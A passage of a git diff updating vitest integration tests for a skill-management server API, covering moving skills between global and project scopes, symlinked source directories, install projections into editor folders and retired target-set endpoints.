expect(existsSync(hostSkillMd('.claude', 'trip-log'))).toBe(false);
expect(existsSync(hostSkillMd('.cursor', 'trip-log'))).toBe(false);
- const marker = JSON.parse(readFileSync(markerPath(), 'utf-8')) as {
- skills: Record<string, unknown>;
- };
- expect(marker.skills['trip-log']).toBeUndefined();
});
- test('rename of an installed skill carries the install-state to the new name', async () => {
+ test('rename of an installed skill carries the projection to the new name', async () => {
expect((await putSkill('rename-me')).status).toBe(200);
expect((await installSkill({ name: 'rename-me', targets: ['claude'] })).status).toBe(200);
-
- const readMarker = () =>
- JSON.parse(readFileSync(markerPath(), 'utf-8')) as {
- skills: Record<string, { hosts: string[] }>;
- };
- expect(readMarker().skills['rename-me']?.hosts).toEqual(['claude']);
expect(existsSync(hostSkillMd('.claude', 'rename-me'))).toBe(true);
// Rename via POST /api/skill (the move spine).
@@ -109,11 +99,8 @@ describe('skill install-projection lifecycle', () => {
});
expect(moveRes.status).toBe(200);
- // Install-state carries over: new name recorded with the prior hosts, old
- // name dropped, and the host projection follows the rename.
- const after = readMarker();
- expect(after.skills['rename-me']).toBeUndefined();
- expect(after.skills['renamed-ok']?.hosts).toEqual(['claude']);
+ // Install-state carries over (disk truth — the scan owns the host set): the
+ // claude projection follows the rename, new name present, old name gone.
expect(existsSync(hostSkillMd('.claude', 'rename-me'))).toBe(false);
expect(existsSync(hostSkillMd('.claude', 'renamed-ok'))).toBe(true);
});
@@ -153,7 +140,10 @@ describe('skill install-projection lifecycle', () => {
const parsed = SkillInstallSuccessSchema.safeParse(await res.json());
expect(parsed.success).toBe(true);
if (parsed.success) {
- expect(parsed.data.hosts).toEqual([]);
+ // No editor targets + none configured: nothing projects into an editor, so
+ // the skill stays where it authored — the `.agents` hub. Store retirement +
+ // no Draft: it is never hostless; its host set is the hub it lives in.
+ expect(parsed.data.hosts).toEqual(['agents']);
expect(parsed.data.warnings.some((w) => w.includes('No project-configured editors'))).toBe(
true,
);
diff --git a/packages/app/tests/integration/api-error-envelope/skill-move-scope-symlinked-source.test.ts b/packages/app/tests/integration/api-error-envelope/skill-move-scope-symlinked-source.test.ts
new file mode 100644
index 000000000..78811a8a3
--- /dev/null
+++ b/packages/app/tests/integration/api-error-envelope/skill-move-scope-symlinked-source.test.ts
@@ -0,0 +1,102 @@
+/**
+ * Cross-scope move when the skill's canonical dir is a SYMLINK.
+ *
+ * The reported failure: a skill whose `source` had been pointed at another
+ * location was moved global→project. The destination came out as a link back to
+ * the source tree, the move's own next step deleted that tree, and every path in
+ * the new scope dangled at once — surfacing as `Broken/cyclic symlink at
+ * .agents/skills/<name>` and a 500 from the destination post-condition.
+ *
+ * Two causes, both covered here: `resolveSkillDirForRead` answers "where is this
+ * skill found" (by root precedence) and never realpaths, so the elected path can
+ * itself be a link; and `cpSync` defaults to `dereference: false`, so copying it
+ * copies the link rather than the bytes. A move must relocate the real tree.
+ */
+import {
+ existsSync,
+ lstatSync,
+ mkdirSync,
+ mkdtempSync,
+ readFileSync,
+ renameSync,
+ rmSync,
+ symlinkSync,
+} from 'node:fs';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+import { afterEach, beforeEach, describe, expect, test } from 'vitest';
+import { createTestServer, HARNESS_BOOT_TIMEOUT_MS, type TestServer } from '../test-harness.ts';
+
+let server: TestServer;
+let tmpHome: string;
+
+const base = () => server.baseUrl;
+
+const putSkill = (scope: 'global' | 'project', name: string) =>
+ fetch(`${base()}/api/skill`, {
+ method: 'PUT',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({
+ scope,
+ name,
+ body: '## When\n\nMoving a skill whose source lives elsewhere.',
+ frontmatter: { name, description: 'Use when testing symlinked sources.' },
+ }),
+ });
+
+const moveScope = (name: string, fromScope: string, toScope: string) =>
+ fetch(`${base()}/api/skill/move-scope`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({ name, fromScope, toScope }),
+ });
+
+beforeEach(async () => {
+ tmpHome = mkdtempSync(join(tmpdir(), 'ok-move-symlink-home-'));
+ server = await createTestServer({ configHomedirOverride: tmpHome });
+}, HARNESS_BOOT_TIMEOUT_MS);
+afterEach(async () => {
+ await server.cleanup();
+ rmSync(tmpHome, { recursive: true, force: true });
+});
+
+describe('cross-scope move with a symlinked canonical', () => {
+ test('lands real bytes at the destination, not a link back to the source', async () => {
+ const N = 'symlinked-source-probe';
+ const put = await putSkill('global', N);
+ expect(put.status).toBe(200);
+ // Take the landing path from the server — the default skill home depends on
+ // which roots exist, so hardcoding it is wrong on some machines.
+ const { path: createdRel } = (await put.json()) as { path: string };
+ const created = join(tmpHome, createdRel.replace(/\/SKILL\.md$/, ''));
+ expect(existsSync(join(created, 'SKILL.md'))).toBe(true);
+ const elsewhere = join(tmpHome, 'elsewhere', N);
+ rmSync(join(tmpHome, 'elsewhere'), { recursive: true, force: true });
+ mkdirSync(join(tmpHome, 'elsewhere'), { recursive: true });
+ renameSync(created, elsewhere);
+ symlinkSync(elsewhere, created, 'dir');
+ expect(lstatSync(created).isSymbolicLink()).toBe(true);
+
+ const res = await moveScope(N, 'global', 'project');
+ expect(res.status).toBe(200);
+ const { path } = (await res.json()) as { path: string };
+ const dest = join(server.contentDir, path);
+
+ // The destination is a real directory holding real bytes — NOT a pointer.
+ expect(lstatSync(dest).isSymbolicLink()).toBe(false);
+ expect(lstatSync(dest).isDirectory()).toBe(true);
+ expect(readFileSync(join(dest, 'SKILL.md'), 'utf-8')).toContain('Moving a skill whose source');
+
+ // A move must not leave its bytes at the origin. The elected occurrence is
+ // the symlink, so deleting only that root leaves the real tree behind and
+ // the skill reappears in the source scope — a copy wearing a move's name.
+ expect(existsSync(created)).toBe(false);
+ expect(existsSync(elsewhere)).toBe(false);
+
+ // And it survives the original tree going away — the property the dangling
+ // links lacked. Without dereference this file would already be unreadable.
+ rmSync(elsewhere, { recursive: true, force: true });
+ expect(existsSync(join(dest, 'SKILL.md'))).toBe(true);
+ expect(readFileSync(join(dest, 'SKILL.md'), 'utf-8')).toContain('Moving a skill whose source');
+ });
+});
diff --git a/packages/app/tests/integration/api-error-envelope/skill-personal-scope.test.ts b/packages/app/tests/integration/api-error-envelope/skill-personal-scope.test.ts
index c9b102d17..bb7b570e7 100644
--- a/packages/app/tests/integration/api-error-envelope/skill-personal-scope.test.ts
+++ b/packages/app/tests/integration/api-error-envelope/skill-personal-scope.test.ts
@@ -1,8 +1,11 @@
/**
- * Global-scope skills: authored at `<home>/.ok/skills/`, listed
- * alongside project skills, edited, installed into the user-global host dirs
- * (`<home>/.{host}/skills/`), and deleted — but UNVERSIONED (no shadow repo for
- * the user home), so history is always empty and restore is refused.
+ * Global-scope skills: store retirement — authored IN-PLACE in the user-home
+ * `.agents/skills` hub, listed alongside project skills, edited, installed into
+ * the user-global editor host dirs (`<home>/.{host}/skills/`), and deleted — but
+ * UNVERSIONED (no shadow repo for the user home), so history is always empty and
+ * restore is refused. Nothing authors into `<home>/.ok/skills` anymore; the scan
+ * (not an install marker) owns the host set, and a skill that exists is never a
+ * hostless Draft.
*
* Hermetic via the `configHomedirOverride` seam (the single user-home override
* that also resolves `~/.ok/global.yml`), so global writes land in a
@@ -10,7 +13,7 @@
* `$HOME`, so an env override wouldn't work — the seam is threaded explicitly.)
*/
-import { existsSync, mkdtempSync, rmSync } from 'node:fs';
+import { existsSync, mkdirSync, mkdtempSync, rmSync } from 'node:fs';
import { tmpdir } from 'node:os';
import { join } from 'node:path';
import {
@@ -35,6 +38,10 @@ const putSkill = (body: Record<string, unknown>) =>
beforeAll(async () => {
tmpHome = mkdtempSync(join(tmpdir(), 'ok-personal-home-'));
+ // Store retirement: global skills author IN-PLACE. Seed the `.agents` hub so a
+ // fresh global skill lands there (the vendor-neutral default home), not the
+ // retired `~/.ok/skills` store and not directly into an editor dir.
+ mkdirSync(join(tmpHome, '.agents', 'skills'), { recursive: true });
server = await createTestServer({ configHomedirOverride: tmpHome });
}, HARNESS_BOOT_TIMEOUT_MS);
afterAll(async () => {
@@ -43,7 +50,7 @@ afterAll(async () => {
});
describe('global-scope skills', () => {
- test('PUT global → writes under <home>/.ok/skills/', async () => {
+ test('PUT global → authors in-place under <home>/.agents/skills/', async () => {
const res = await putSkill({
scope: 'global',
name: 'daily-standup',
@@ -52,7 +59,7 @@ describe('global-scope skills', () => {
});
expect(res.status).toBe(200);
// The source landed in the overridden home, not the project content dir.
- expect(existsSync(join(tmpHome, '.ok', 'skills', 'daily-standup', 'SKILL.md'))).toBe(true);
+ expect(existsSync(join(tmpHome, '.agents', 'skills', 'daily-standup', 'SKILL.md'))).toBe(true);
});
test('GET global returns the payload', async () => {
@@ -81,9 +88,10 @@ describe('global-scope skills', () => {
const project = parsed.data.skills.find((s) => s.name === 'project-only');
expect(personal?.scope).toBe('global');
expect(project?.scope).toBe('project');
- // Global install isn't wired yet → not installed, no hosts.
- expect(personal?.installed).toBe(false);
- expect(personal?.hosts).toEqual([]);
+ // No Draft: a global skill authored in the `.agents` hub is installed there
+ // (its host set is the hub it lives in), never a hostless Draft.
+ expect(personal?.installed).toBe(true);
+ expect(personal?.hosts).toEqual(['agents']);
}
});
@@ -115,10 +123,9 @@ describe('global-scope skills', () => {
expect(res.status).toBe(200);
const body = (await res.json()) as { hosts: string[] };
expect(body.hosts).toContain('claude');
- // Projected verbatim into the overridden home's global host dir, and the
- // user-level install marker recorded it.
+ // Projected verbatim into the overridden home's global editor host dir (disk
+ // is truth — the scan, not an install marker, owns the host set).
expect(existsSync(join(tmpHome, '.claude', 'skills', 'daily-standup', 'SKILL.md'))).toBe(true);
- expect(existsSync(join(tmpHome, '.ok', 'local', 'installed-skills.json'))).toBe(true);
});
test('list reflects the global skill as installed after install', async () => {
@@ -132,26 +139,26 @@ describe('global-scope skills', () => {
}
});
- test('uninstall demotes the global skill to Draft (source kept, projection gone)', async () => {
+ test('uninstall consolidates to the hub: editor projection gone, hub source kept', async () => {
const res = await fetch(`${base()}/api/skill/uninstall`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ scope: 'global', name: 'daily-standup' }),
});
expect(res.status).toBe(200);
- const body = (await res.json()) as { uninstalled: boolean };
- expect(body.uninstalled).toBe(true);
- // Source kept; global projection removed.
- expect(existsSync(join(tmpHome, '.ok', 'skills', 'daily-standup', 'SKILL.md'))).toBe(true);
+ // Uninstall removes the EDITOR projection and keeps the vendor-neutral hub
+ // source (consolidate-to-hub) — not the reverse. The skill stays in `.agents`.
+ expect(existsSync(join(tmpHome, '.agents', 'skills', 'daily-standup', 'SKILL.md'))).toBe(true);
expect(existsSync(join(tmpHome, '.claude', 'skills', 'daily-standup'))).toBe(false);
- // List now shows it as a Draft again.
+ // Store retirement + no Draft: it stays installed in the hub, never demoted
+ // to a hostless Draft.
const list = await fetch(`${base()}/api/skills`);
const parsed = SkillsListSuccessSchema.safeParse(await list.json());
expect(parsed.success).toBe(true);
if (parsed.success) {
const personal = parsed.data.skills.find((s) => s.name === 'daily-standup');
- expect(personal?.installed).toBe(false);
- expect(personal?.hosts).toEqual([]);
+ expect(personal?.installed).toBe(true);
+ expect(personal?.hosts).toEqual(['agents']);
}
});
@@ -160,7 +167,7 @@ describe('global-scope skills', () => {
method: 'DELETE',
});
expect(res.status).toBe(200);
- expect(existsSync(join(tmpHome, '.ok', 'skills', 'daily-standup'))).toBe(false);
+ expect(existsSync(join(tmpHome, '.agents', 'skills', 'daily-standup'))).toBe(false);
// Reverse-projection cleaned the global host dir too.
expect(existsSync(join(tmpHome, '.claude', 'skills', 'daily-standup'))).toBe(false);
});
diff --git a/packages/app/tests/integration/api-error-envelope/skill-restore.test.ts b/packages/app/tests/integration/api-error-envelope/skill-restore.test.ts
index c4fbc5463..460f56456 100644
--- a/packages/app/tests/integration/api-error-envelope/skill-restore.test.ts
+++ b/packages/app/tests/integration/api-error-envelope/skill-restore.test.ts
@@ -16,9 +16,11 @@ import {
import { afterAll, beforeAll, describe, expect, test } from 'vitest';
// Project skills are content docs, so their version history comes from the
-// unified document-history path (`/api/history?docName=.ok/skills/<name>/SKILL`),
-// NOT a bespoke skill-history endpoint (removed — it was a buggy duplicate).
-const SKILL_DOC_NAME = '.ok/skills/trip-log/SKILL';
+// unified document-history path (`/api/history?docName=<real-dir>/SKILL`), NOT a
+// bespoke skill-history endpoint (removed — it was a buggy duplicate). Store
+// retirement: a fresh project skill authors IN-PLACE at the default home
+// (`.claude/skills` in a bare contentDir), not the retired `.ok/skills` store.
+const SKILL_DOC_NAME = '.claude/skills/trip-log/SKILL';
import { HARNESS_BOOT_TIMEOUT_MS } from '../harness-boot-timeout';
import { createTestServer, type TestServer } from '../test-harness';
@@ -54,8 +56,11 @@ afterAll(async () => {
describe('skill restore (R6)', () => {
test('history → restore reverts the source to an earlier version', async () => {
- expect((await writeSkill('# Version ONE')).status).toBe(200);
- expect((await writeSkill('# Version TWO')).status).toBe(200);
+ // Both the create and the edit land as their own committed version on the
+ // skill's timeline (the create is attributed under the content-doc key
+ // `/api/history` filters on, so it is restorable — not just edits).
+ expect((await writeSkill('# Version ONE')).status).toBe(200); // create → commit 1
+ expect((await writeSkill('# Version TWO')).status).toBe(200); // edit → commit 2
expect(await getBody()).toContain('Version TWO');
// The unified document timeline shows the skill's attributed versions
@@ -84,7 +89,7 @@ describe('skill restore (R6)', () => {
expect(restored.success).toBe(true);
if (restored.success) expect(restored.data.restoredFiles).toContain('SKILL.md');
- // The source reverted to Version ONE.
+ // The source reverted to the created version (Version ONE).
expect(await getBody()).toContain('Version ONE');
expect(await getBody()).not.toContain('Version TWO');
});
diff --git a/packages/app/tests/integration/api-error-envelope/skill-scope-move.test.ts b/packages/app/tests/integration/api-error-envelope/skill-scope-move.test.ts
index a7973e80a..7b62c9dcd 100644
--- a/packages/app/tests/integration/api-error-envelope/skill-scope-move.test.ts
+++ b/packages/app/tests/integration/api-error-envelope/skill-scope-move.test.ts
@@ -4,7 +4,7 @@
*
* Was the bug: after a global skill is DELETEd, a
* subsequent `PUT /api/skill scope=global` of the SAME name returned 200 but
- * never wrote `<home>/.ok/skills/<name>/SKILL.md` to disk. The delete unloads
+ * never wrote the global SKILL.md to disk. The delete unloads
* the live doc (`captureAndCloseDocuments`) to stop the OLD doc resurrecting the
* file, but the re-create then short-circuited as a no-op because the parallel
* managed-artifact LKG cache was never evicted on delete — an identical-content
@@ -24,9 +24,17 @@
* Hermetic global home via `configHomedirOverride`.
*/
-import { existsSync, mkdtempSync, readFileSync, rmSync } from 'node:fs';
+import {
+ existsSync,
+ lstatSync,
+ mkdirSync,
+ mkdtempSync,
+ readFileSync,
+ rmSync,
+ writeFileSync,
+} from 'node:fs';
import { tmpdir } from 'node:os';
-import { join } from 'node:path';
+import { dirname, join } from 'node:path';
import { SkillsListSuccessSchema } from '@inkeep/open-knowledge-core';
import { afterAll, beforeAll, describe, expect, test } from 'vitest';
import { HARNESS_BOOT_TIMEOUT_MS } from '../harness-boot-timeout';
@@ -35,6 +43,12 @@ import { createTestServer, pollUntil, type TestServer } from '../test-harness';
let server: TestServer;
let tmpHome: string;
const base = () => `http://127.0.0.1:${server.port}`;
+// Creates land at the DEFAULT skill home (existence-activated: `.agents` when
+// the tree has it — the harness seeds every editor dir — else `.claude`).
+const skillsRootIn = (b: string) =>
+ existsSync(join(b, '.agents')) ? join(b, '.agents', 'skills') : join(b, '.claude', 'skills');
+const skillsRootRelIn = (b: string) =>
+ existsSync(join(b, '.agents')) ? '.agents/skills' : '.claude/skills';
const NAME = 'trip-log';
const putSkill = (scope: 'global' | 'project', name = NAME) =>
@@ -52,7 +66,11 @@ const putSkill = (scope: 'global' | 'project', name = NAME) =>
const delSkill = (scope: 'global' | 'project', name = NAME) =>
fetch(`${base()}/api/skill?name=${name}&scope=${scope}`, { method: 'DELETE' });
-/** Replicate the client `moveSkillScope` server compose: PUT dest, DELETE source. */
+/**
+ * The LEGACY compose (PUT dest, DELETE source) exercised via the raw endpoints.
+ * The current client uses the atomic `POST /api/skill/move-scope` (E2 below);
+ * this stays as coverage of the underlying PUT/DELETE + LKG-eviction behavior.
+ */
async function move(from: 'global' | 'project', to: 'global' | 'project') {
expect((await putSkill(to)).status).toBe(200);
expect((await delSkill(from)).status).toBe(200);
@@ -77,10 +95,10 @@ async function bundleFilePaths(scope: 'global' | 'project', name: string): Promi
}
/**
- * Replicate the FIXED cross-scope compose (both `moveSkillCrossScope` MCP +
- * client `moveSkillScope`): PUT dest SKILL.md → copy EVERY bundle file
- * (GET-source + PUT-dest) → only THEN DELETE source. Copy-all-before-delete is
- * the data-safety ordering both composers use.
+ * The LEGACY full-bundle compose: PUT dest SKILL.md → copy every text bundle
+ * file (GET-source + PUT-dest) → only THEN DELETE source. The current client
+ * uses the atomic endpoint (E2), which copies the whole dir verbatim including
+ * binaries; this stays as coverage of the per-file endpoints + graph rejoin.
*/
async function moveFullBundle(from: 'global' | 'project', to: 'global' | 'project', name: string) {
expect((await putSkill(to, name)).status).toBe(200);
@@ -119,12 +137,12 @@ describe('E1: cross-scope move / global re-create', () => {
test('re-create a global skill after deleting it (no project involved)', async () => {
const N = 'recreate-probe';
expect((await putSkill('global', N)).status).toBe(200);
- expect(existsSync(join(tmpHome, '.ok', 'skills', N, 'SKILL.md'))).toBe(true);
+ expect(existsSync(join(skillsRootIn(tmpHome), N, 'SKILL.md'))).toBe(true);
expect((await delSkill('global', N)).status).toBe(200);
- expect(existsSync(join(tmpHome, '.ok', 'skills', N, 'SKILL.md'))).toBe(false);
+ expect(existsSync(join(skillsRootIn(tmpHome), N, 'SKILL.md'))).toBe(false);
// Re-create after delete — this PUT returns 200 but currently does NOT persist.
expect((await putSkill('global', N)).status).toBe(200);
- expect(existsSync(join(tmpHome, '.ok', 'skills', N, 'SKILL.md'))).toBe(true);
+ expect(existsSync(join(skillsRootIn(tmpHome), N, 'SKILL.md'))).toBe(true);
});
test('global → project → global: list shows it under global at each step', async () => {
@@ -159,13 +177,13 @@ describe('E1: cross-scope move / global re-create', () => {
await moveFullBundle('global', 'project', N);
// (a) both bundle files now live at the PROJECT skill path on disk…
- const projRef = join(server.contentDir, '.ok', 'skills', N, 'references', 'notes.md');
- const projScript = join(server.contentDir, '.ok', 'skills', N, 'scripts', 'run.sh');
+ const projRef = join(skillsRootIn(server.contentDir), N, 'references', 'notes.md');
+ const projScript = join(skillsRootIn(server.contentDir), N, 'scripts', 'run.sh');
expect(existsSync(projRef)).toBe(true);
expect(existsSync(projScript)).toBe(true);
expect(readFileSync(projScript, 'utf-8')).toBe(script);
// (b) the source GLOBAL dir is gone.
- expect(existsSync(join(tmpHome, '.ok', 'skills', N))).toBe(false);
+ expect(existsSync(join(skillsRootIn(tmpHome), N))).toBe(false);
expect(await scopeOf(N)).toBe('project');
// (c) the project `.md` reference participates in the backlink graph at its
@@ -177,7 +195,132 @@ describe('E1: cross-scope move / global re-create', () => {
});
expect(target.ok).toBe(true);
await pollUntil(async () =>
- (await backlinkSources('xs-target')).includes(`.ok/skills/${N}/references/notes`),
+ (await backlinkSources('xs-target')).includes(
+ `${skillsRootRelIn(server.contentDir)}/${N}/references/notes`,
+ ),
);
}, 20000);
});
+
+/** The FIXED atomic cross-scope move — one server request, no client compose. */
+const moveScope = (name: string, fromScope: 'global' | 'project', toScope: 'global' | 'project') =>
+ fetch(`${base()}/api/skill/move-scope`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({ name, fromScope, toScope }),
+ });
+
+const readSkillBody = async (scope: 'global' | 'project', name: string): Promise<string> => {
+ const res = await fetch(`${base()}/api/skill?name=${name}&scope=${scope}`);
+ const detail = (await res.json().catch(() => null)) as { skill?: { body?: string } } | null;
+ return detail?.skill?.body ?? '';
+};
+
+describe('E2: atomic /api/skill/move-scope', () => {
+ /**
+ * The doubling regression: the old client dance wrote the destination through
+ * the CRDT content-doc path while a stale live doc was open — the bridge MERGED
+ * old+new, so a round-trip nested a second frontmatter+body into SKILL.md
+ * ("test" → "test\n---\n...\n---\ntest"). The atomic copy with the live docs
+ * closed must round-trip byte-identically.
+ */
+ test('global → project → global keeps SKILL.md body byte-identical (no doubling)', async () => {
+ const N = 'atomic-trip';
+ expect((await putSkill('global', N)).status).toBe(200);
+ const before = await readSkillBody('global', N);
+
+ expect((await moveScope(N, 'global', 'project')).status).toBe(200);
+ expect(await scopeOf(N)).toBe('project');
+ expect((await moveScope(N, 'project', 'global')).status).toBe(200);
+ expect(await scopeOf(N)).toBe('global');
+
+ expect(await readSkillBody('global', N)).toBe(before);
+ // On disk: exactly ONE frontmatter delimiter pair — no nested block.
+ const md = readFileSync(join(skillsRootIn(tmpHome), N, 'SKILL.md'), 'utf-8');
+ expect(md.match(/^---$/gm)?.length).toBe(2);
+ });
+
+ test('carries a raw binary bundle file (the text-only copy silently dropped it)', async () => {
+ const N = 'atomic-binary';
+ expect((await putSkill('global', N)).status).toBe(200);
+ const bin = Buffer.from([0x89, 0x50, 0x4e, 0x47, 0x00, 0x01, 0xff, 0xfe]);
+ const srcAsset = join(skillsRootIn(tmpHome), N, 'references', 'logo.png');
+ mkdirSync(dirname(srcAsset), { recursive: true });
+ writeFileSync(srcAsset, bin);
+
+ expect((await moveScope(N, 'global', 'project')).status).toBe(200);
+
+ const destAsset = join(skillsRootIn(server.contentDir), N, 'references', 'logo.png');
+ expect(existsSync(destAsset)).toBe(true);
+ expect(readFileSync(destAsset).equals(bin)).toBe(true);
+ // Source dir fully removed — no residue to re-copy on a move back.
+ expect(existsSync(join(skillsRootIn(tmpHome), N))).toBe(false);
+ });
+
+ test('transfers imported provenance and keeps copy projections across scopes', async () => {
+ const N = 'atomic-provenance';
+ expect((await putSkill('global', N)).status).toBe(200);
+
+ const globalLockPath = join(tmpHome, '.ok', 'skills-lock.json');
+ mkdirSync(dirname(globalLockPath), { recursive: true });
+ writeFileSync(
+ globalLockPath,
+ `${JSON.stringify(
+ {
+ schema: 1,
+ skills: {
+ [N]: {
+ source: 'https://github.com/acme/skills',
+ contentHash: 'upstream-hash',
+ localHash: 'pre-move-local-hash',
+ importedAt: '2026-07-29T12:00:00.000Z',
+ },
+ },
+ },
+ null,
+ 2,
+ )}\n`,
+ );
+ const install = await fetch(`${base()}/api/skill/install`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({
+ scope: 'global',
+ name: N,
+ targets: ['claude', 'cursor'],
+ linkMode: false,
+ }),
+ });
+ expect(install.status).toBe(200);
+
+ expect((await moveScope(N, 'global', 'project')).status).toBe(200);
+
+ const globalLock = JSON.parse(readFileSync(globalLockPath, 'utf-8')) as {
+ skills: Record<string, unknown>;
+ };
+ const projectLock = JSON.parse(
+ readFileSync(join(server.contentDir, '.ok', 'skills-lock.json'), 'utf-8'),
+ ) as { skills: Record<string, { source: string; localHash?: string }> };
+ expect(globalLock.skills[N]).toBeUndefined();
+ expect(projectLock.skills[N]?.source).toBe('https://github.com/acme/skills');
+ expect(projectLock.skills[N]?.localHash).not.toBe('pre-move-local-hash');
+ expect(lstatSync(join(server.contentDir, '.cursor', 'skills', N)).isSymbolicLink()).toBe(false);
+
+ const listed = (await fetch(`${base()}/api/skills?scope=project`).then((r) => r.json())) as {
+ skills: Array<{ name: string; origin?: { source: string } }>;
+ };
+ expect(listed.skills.find((skill) => skill.name === N)?.origin?.source).toBe(
+ 'https://github.com/acme/skills',
+ );
+ });
+
+ test('refuses (409) when the destination scope already has that name; source untouched', async () => {
+ const N = 'atomic-dup';
+ expect((await putSkill('global', N)).status).toBe(200);
+ expect((await putSkill('project', N)).status).toBe(200);
+ expect((await moveScope(N, 'global', 'project')).status).toBe(409);
+ // Both copies still exist — a refused move must not delete the source.
+ expect(existsSync(join(skillsRootIn(tmpHome), N, 'SKILL.md'))).toBe(true);
+ expect(existsSync(join(skillsRootIn(server.contentDir), N, 'SKILL.md'))).toBe(true);
+ });
+});
diff --git a/packages/app/tests/integration/api-error-envelope/skill-targets.test.ts b/packages/app/tests/integration/api-error-envelope/skill-targets.test.ts
index 9e3f6c349..8cd540883 100644
--- a/packages/app/tests/integration/api-error-envelope/skill-targets.test.ts
+++ b/packages/app/tests/integration/api-error-envelope/skill-targets.test.ts
@@ -1,121 +1,64 @@
/**
- * Narrow-integration test for the editable project skill-target set
- * (`GET` / `PUT /api/skill-targets`).
- *
- * Proves the headline requirement: changing the target set re-projects EVERY
- * managed skill — the authored skill AND OK's shipped `open-knowledge` bundle —
- * to the new editors, and reverse-projects from dropped ones, against a real
- * server (`projectDir === contentDir`).
+ * Narrow-integration test for `GET` / `PUT /api/skill-targets` AFTER the
+ * store retirement: the committed target set + its re-projection are DELETED.
+ * GET reports the DETECTED effective set plus per-scope folder states; PUT
+ * accepts only `userInstallMode` (machine-wide default) or `folderAction`
+ * (folder link/unlink verbs — covered in skills-in-place-list.test.ts).
*/
-import { existsSync, readFileSync } from 'node:fs';
-import { join } from 'node:path';
-import {
- SkillTargetsGetSuccessSchema,
- SkillTargetsPutSuccessSchema,
-} from '@inkeep/open-knowledge-core';
+import { SkillTargetsGetSuccessSchema } from '@inkeep/open-knowledge-core';
import { afterAll, beforeAll, describe, expect, test } from 'vitest';
import { HARNESS_BOOT_TIMEOUT_MS } from '../harness-boot-timeout';
import { createTestServer, type TestServer } from '../test-harness';
let server: TestServer;
const base = () => `http://127.0.0.1:${server.port}`;
-const hostSkill = (editorRoot: string, name: string) =>
- join(server.contentDir, editorRoot, 'skills', name);
-const markerPath = () => join(server.contentDir, '.ok', 'local', 'installed-skills.json');
beforeAll(async () => {
server = await createTestServer();
- // Author + install a skill into claude + cursor.
- await fetch(`${base()}/api/skill`, {
- method: 'PUT',
- headers: { 'Content-Type': 'application/json' },
- body: JSON.stringify({
- name: 'trip-log',
- body: '# Steps',
- frontmatter: { name: 'trip-log', description: 'Use when logging a trip.' },
- }),
- });
- await fetch(`${base()}/api/skill/install`, {
- method: 'POST',
- headers: { 'Content-Type': 'application/json' },
- body: JSON.stringify({ name: 'trip-log', targets: ['claude', 'cursor'] }),
- });
}, HARNESS_BOOT_TIMEOUT_MS);
afterAll(async () => {
await server.cleanup();
});
-describe('skill-targets — change set re-projects authored skills + OK bundle', () => {
- test('GET reports the effective set (unconfigured before any PUT)', async () => {
+describe('skill-targets — detected set + machine default (store retirement)', () => {
+ test('GET reports the detected set and folder states for both scopes', async () => {
const res = await fetch(`${base()}/api/skill-targets`);
expect(res.status).toBe(200);
const parsed = SkillTargetsGetSuccessSchema.safeParse(await res.json());
expect(parsed.success).toBe(true);
- if (parsed.success) expect(parsed.data.configured).toBe(false);
+ if (!parsed.success) return;
+ // The committed set is retired: always the detected fallback.
+ expect(parsed.data.configured).toBe(false);
+ expect(Array.isArray(parsed.data.folders)).toBe(true);
+ const scopes = new Set(parsed.data.folders?.map((f) => f.scope));
+ expect(scopes.has('project')).toBe(true);
+ expect(scopes.has('global')).toBe(true);
});
- test('PUT narrows targets → skill + bundle drop from cursor, kept in claude', async () => {
- // Precondition: installed into both claude + cursor.
- expect(existsSync(join(hostSkill('.cursor', 'trip-log'), 'SKILL.md'))).toBe(true);
-
- const res = await fetch(`${base()}/api/skill-targets`, {
+ test('PUT with the retired userInstallMode field is rejected loudly (strict schema) → 400', async () => {
+ const put = await fetch(`${base()}/api/skill-targets`, {
method: 'PUT',
headers: { 'Content-Type': 'application/json' },
- body: JSON.stringify({ targets: ['claude'] }),
+ body: JSON.stringify({ userInstallMode: 'link' }),
});
- expect(res.status).toBe(200);
- const parsed = SkillTargetsPutSuccessSchema.safeParse(await res.json());
- expect(parsed.success).toBe(true);
- if (parsed.success) {
- expect(parsed.data.targets).toEqual(['claude']);
- const tripLog = parsed.data.reprojected.find((r) => r.name === 'trip-log');
- expect(tripLog?.hosts).toEqual(['claude']);
- // OK's shipped bundle followed the set into claude.
- expect(parsed.data.bundleHosts).toEqual(['claude']);
- }
-
- // Authored skill: present in claude, gone from cursor.
- expect(existsSync(join(hostSkill('.claude', 'trip-log'), 'SKILL.md'))).toBe(true);
- expect(existsSync(hostSkill('.cursor', 'trip-log'))).toBe(false);
-
- // Shipped bundle: present in claude, gone from cursor.
- expect(existsSync(join(hostSkill('.claude', 'open-knowledge'), 'SKILL.md'))).toBe(true);
- expect(existsSync(hostSkill('.cursor', 'open-knowledge'))).toBe(false);
-
- // Marker host set synced to the new targets.
- const marker = JSON.parse(readFileSync(markerPath(), 'utf-8')) as {
- skills: Record<string, { hosts: string[] }>;
- };
- expect(marker.skills['trip-log']?.hosts).toEqual(['claude']);
+ expect(put.status).toBe(400);
});
- test('GET now reports the committed set', async () => {
- const res = await fetch(`${base()}/api/skill-targets`);
- const parsed = SkillTargetsGetSuccessSchema.safeParse(await res.json());
- expect(parsed.success).toBe(true);
- if (parsed.success) {
- expect(parsed.data.configured).toBe(true);
- expect(parsed.data.targets).toEqual(['claude']);
- }
- });
-
- test('PUT widening targets → skill + bundle re-appear in cursor', async () => {
+ test('PUT with the retired `targets` field is rejected loudly (strict schema) → 400', async () => {
const res = await fetch(`${base()}/api/skill-targets`, {
method: 'PUT',
headers: { 'Content-Type': 'application/json' },
- body: JSON.stringify({ targets: ['claude', 'cursor'] }),
+ body: JSON.stringify({ targets: ['claude'] }),
});
- expect(res.status).toBe(200);
- expect(existsSync(join(hostSkill('.cursor', 'trip-log'), 'SKILL.md'))).toBe(true);
- expect(existsSync(join(hostSkill('.cursor', 'open-knowledge'), 'SKILL.md'))).toBe(true);
+ expect(res.status).toBe(400);
});
- test('PUT rejects an unknown editor id (.strict enum) → 400', async () => {
+ test('PUT with no action → 400', async () => {
const res = await fetch(`${base()}/api/skill-targets`, {
method: 'PUT',
